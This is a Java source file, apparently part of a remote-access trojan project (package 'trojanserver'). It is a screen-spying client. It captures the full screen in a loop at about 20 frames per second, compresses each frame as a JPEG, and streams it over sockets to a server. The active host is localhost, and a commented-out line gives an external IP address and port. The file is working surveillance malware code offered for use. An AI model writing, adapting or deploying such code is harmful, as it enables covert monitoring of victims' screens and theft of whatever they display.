/**
 * Copyright(C) 2019 Hangzhou huhongchang Technology Co., Ltd. All rights reserved.
 */
package org.ericquan8.trojanserver.test.desktop1;

import com.sun.image.codec.jpeg.JPEGCodec;

import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.DataOutputStream;
import java.net.Socket;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;


public class Client {
    //    public static String host = "47.100.119.84";
    //    public static int post = 18105;
    public static String host = "127.0.0.1";
    public static int post = 10099;

    //建立服务器的监听
    public static void main(String[] args) {
        try {
            Socket client = new Socket(host, post);
            System.out.println("正在连接服务器>>>>>>");
            //服务器连接成功
            System.out.println("服务器连接成功>>>>>>");

            //使用多线程传输
            SreenThread st = new SreenThread();
            st.start();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

class SreenThread extends Thread {
    //数据输出流
    DataOutputStream dataOut;

    public void run() {
        Toolkit tk = Toolkit.getDefaultToolkit();
        Dimension dm = tk.getScreenSize();
        //获取屏幕分辨率，发送
        try {
            //定义一个矩形
            Rectangle rc = new Rectangle(dm);

            //定义一个机器人
            Robot robot = new Robot();

            ZipOutputStream os = null;
            Socket socket = null;

            while (true) {

                socket = new Socket(Client.host, Client.post);
                BufferedImage image = robot.createScreenCapture(rc);// 捕获制定屏幕矩形区域
                dataOut = new DataOutputStream(socket.getOutputStream());
                dataOut.writeDouble(dm.getHeight());
                dataOut.writeDouble(dm.getWidth());
                os = new ZipOutputStream(dataOut);// 加入压缩流
                os.setLevel(9);
                os.putNextEntry(new ZipEntry("test.jpg"));
                JPEGCodec.createJPEGEncoder(os).encode(image);// 图像编码成JPEG
                os.close();
                Thread.sleep(50);// 每秒20帧
            }
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}
